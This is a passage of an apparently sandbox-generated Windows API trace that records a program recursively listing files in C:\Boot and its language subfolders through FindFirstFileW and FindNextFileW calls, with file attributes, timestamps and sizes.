ftLastAccessTime.dwLowDateTime=0x79a6a00, ftLastAccessTime.dwHighDateTime=0x1ca5de3, ftLastWriteTime.dwLowDateTime=0x79a6a00, ftLastWriteTime.dwHighDateTime=0x1ca5de3, nFileSizeHigh=0x0, nFileSizeLow=0x97f2, dwReserved0=0x0, dwReserved1=0x240000, cFileName="UiInfo.xml", cAlternateFileName="")) returned 1 [0063.370] FindNextFileW (in: hFindFile=0x5831c8, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x87910600, ftCreationTime.dwHighDateTime=0x1ca2a27, ftLastAccessTime.dwLowDateTime=0x87910600, ftLastAccessTime.dwHighDateTime=0x1ca2a27, ftLastWriteTime.dwLowDateTime=0x87910600, ftLastWriteTime.dwHighDateTime=0x1ca2a27, nFileSizeHigh=0x0, nFileSizeLow=0x19688, dwReserved0=0x0, dwReserved1=0x240000, cFileName="watermark.bmp", cAlternateFileName="WATERM~1.BMP")) returned 1 [0063.371] FindNextFileW (in: hFindFile=0x5831c8, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x2120bc00, ftCreationTime.dwHighDateTime=0x1cac6c9, ftLastAccessTime.dwLowDateTime=0x2120bc00, ftLastAccessTime.dwHighDateTime=0x1cac6c9, ftLastWriteTime.dwLowDateTime=0x2120bc00, ftLastWriteTime.dwHighDateTime=0x1cac6c9, nFileSizeHigh=0x0, nFileSizeLow=0x4f5113, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.0-KB956250-v6001-x64.msu", cAlternateFileName="WINDOW~1.MSU")) returned 1 [0063.371] FindNextFileW (in: hFindFile=0x5831c8, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x1bbe7400, ftCreationTime.dwHighDateTime=0x1cac6bf, ftLastAccessTime.dwLowDateTime=0x1bbe7400, ftLastAccessTime.dwHighDateTime=0x1cac6bf, ftLastWriteTime.dwLowDateTime=0x1bbe7400, ftLastWriteTime.dwHighDateTime=0x1cac6bf, nFileSizeHigh=0x0, nFileSizeLow=0x217520, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.0-KB956250-v6001-x86.msu", cAlternateFileName="WINDOW~2.MSU")) returned 1 [0063.371] FindNextFileW (in: hFindFile=0x5831c8, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5b8e5700, ftCreationTime.dwHighDateTime=0x1cac6d1, ftLastAccessTime.dwLowDateTime=0x5b8e5700, ftLastAccessTime.dwHighDateTime=0x1cac6d1, ftLastWriteTime.dwLowDateTime=0x5b8e5700, ftLastWriteTime.dwHighDateTime=0x1cac6d1, nFileSizeHigh=0x0, nFileSizeLow=0x4db1ce, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x64.msu", cAlternateFileName="WINDOW~3.MSU")) returned 1 [0063.371] FindNextFileW (in: hFindFile=0x5831c8, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 1 [0063.371] FindNextFileW (in: hFindFile=0x5831c8, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xd0ac5d00, ftCreationTime.dwHighDateTime=0x1cac6ce, ftLastAccessTime.dwLowDateTime=0xd0ac5d00, ftLastAccessTime.dwHighDateTime=0x1cac6ce, ftLastWriteTime.dwLowDateTime=0xd0ac5d00, ftLastWriteTime.dwHighDateTime=0x1cac6ce, nFileSizeHigh=0x0, nFileSizeLow=0x20acf9, dwReserved0=0x0, dwReserved1=0x240000, cFileName="Windows6.1-KB958488-v6001-x86.msu", cAlternateFileName="WINDOW~4.MSU")) returned 0 [0063.371] FindClose (in: hFindFile=0x5831c8 | out: hFindFile=0x5831c8) returned 1 [0063.371] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3780968 | out: hHeap=0x490000) returned 1 [0063.372] FindNextFileW (in: hFindFile=0x583208, lpFindFileData=0x34dfcf8 | out: lpFindFileData=0x34dfcf8*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef6fa258, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef6fa258, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77850000, dwReserved1=0x0, cFileName="Boot", cAlternateFileName="")) returned 1 [0063.372] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3780968 [0063.372] FindFirstFileW (in: lpFileName="C:\\Boot\\*", lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x582e08 [0063.373] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef9d311c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef9d311c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0063.730] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xd36fe848, ftLastAccessTime.dwHighDateTime=0x1d5d815, ftLastWriteTime.dwLowDateTime=0xd36fe848, ftLastWriteTime.dwHighDateTime=0x1d5d815, nFileSizeHigh=0x0, nFileSizeLow=0xb000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD", cAlternateFileName="")) returned 1 [0063.731] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG", cAlternateFileName="")) returned 1 [0063.731] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG1", cAlternateFileName="BCD~1.LOG")) returned 1 [0063.731] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc4c800b6, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc4c800b6, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc4c800b6, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BCD.LOG2", cAlternateFileName="BCD~2.LOG")) returned 1 [0063.731] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0063.731] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3d80940 [0063.731] FindFirstFileW (in: lpFileName="C:\\Boot\\bg-BG\\*", lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x582d48 [0063.731] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47952ba, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xc47bb525, ftLastWriteTime.dwHighDateTime=0x1d32764, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.731] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0063.732] FindNextFileW (in: hFindFile=0x582d48, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47bb525, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x210bba74, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12f60, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 0 [0063.732] FindClose (in: hFindFile=0x582d48 | out: hFindFile=0x582d48) returned 1 [0063.732] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0063.732] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xef4e6d79, ftCreationTime.dwHighDateTime=0x1d3273d, ftLastAccessTime.dwLowDateTime=0xef4e6d79, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x175a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bootspaces.dll", cAlternateFileName="BOOTSP~1.DLL")) returned 1 [0063.732] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xc498516b, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc498516b, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0xef703e94, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x10000, dwReserved0=0x0, dwReserved1=0x240000, cFileName="BOOTSTAT.DAT", cAlternateFileName="")) returned 1 [0063.732] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef4fcd12, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2d79a60, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0x185a0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="bootvhd.dll", cAlternateFileName="")) returned 1 [0063.732] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="cs-CZ", cAlternateFileName="")) returned 1 [0063.732] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3d80940 [0063.732] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x583188 [0063.733] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47bb525, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef511a4c, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.733] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x2109581d, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12b58, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0063.733] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0063.733] FindNextFileW (in: hFindFile=0x583188, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef511a4c, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2f1d4cf, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0063.733] FindClose (in: hFindFile=0x583188 | out: hFindFile=0x583188) returned 1 [0063.733] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0063.733] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="da-DK", cAlternateFileName="")) returned 1 [0063.733] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3d80940 [0063.734] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x583048 [0063.737] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0008dbb, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef5252b3, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.737] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc47e189c, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc47e189c, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x12760, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0063.737] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0063.737] FindNextFileW (in: hFindFile=0x583048, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef5252b3, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb1a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0063.737] FindClose (in: hFindFile=0x583048 | out: hFindFile=0x583048) returned 1 [0063.737] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0063.737] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="de-DE", cAlternateFileName="")) returned 1 [0063.737] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3d80940 [0063.737] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x582b88 [0063.738] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xa0009692, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xef538bee, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.738] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc48079da, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc48079da, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209bac02, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13560, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0063.738] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 1 [0063.738] FindNextFileW (in: hFindFile=0x582b88, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef538bee, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xf2ef7268, ftLastWriteTime.dwHighDateTime=0x1d2a02f, nFileSizeHigh=0x0, nFileSizeLow=0xb3a0, dwReserved0=0x0, dwReserved1=0x0, cFileName="memtest.exe.mui", cAlternateFileName="MEMTES~1.MUI")) returned 0 [0063.738] FindClose (in: hFindFile=0x582b88 | out: hFindFile=0x582b88) returned 1 [0063.738] HeapFree (in: hHeap=0x490000, dwFlags=0x0, lpMem=0x3d80940 | out: hHeap=0x490000) returned 1 [0063.738] FindNextFileW (in: hFindFile=0x582e08, lpFindFileData=0x34dfa7c | out: lpFindFileData=0x34dfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="el-GR", cAlternateFileName="")) returned 1 [0063.738] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x0, Size=0xfffe) returned 0x3d80940 [0063.738] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x582e48 [0063.739] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xef555ff8, ftLastAccessTime.dwHighDateTime=0x1d3273d, ftLastWriteTime.dwLowDateTime=0xef555ff8, ftLastWriteTime.dwHighDateTime=0x1d3273d, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0063.739] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, ftLastAccessTime.dwLowDateTime=0xc482dc87, ftLastAccessTime.dwHighDateTime=0x1d32764, ftLastWriteTime.dwLowDateTime=0x209949ab, ftLastWriteTime.dwHighDateTime=0x1d112e3, nFileSizeHigh=0x0, nFileSizeLow=0x13960, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1 [0063.739] FindNextFileW (in: hFindFile=0x582e48, lpFindFileData=0x34df800 | out: lpFindFileData=0x34df800*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc482dc87, ftCreationTime.dwHighDateTime=0x1d32764, 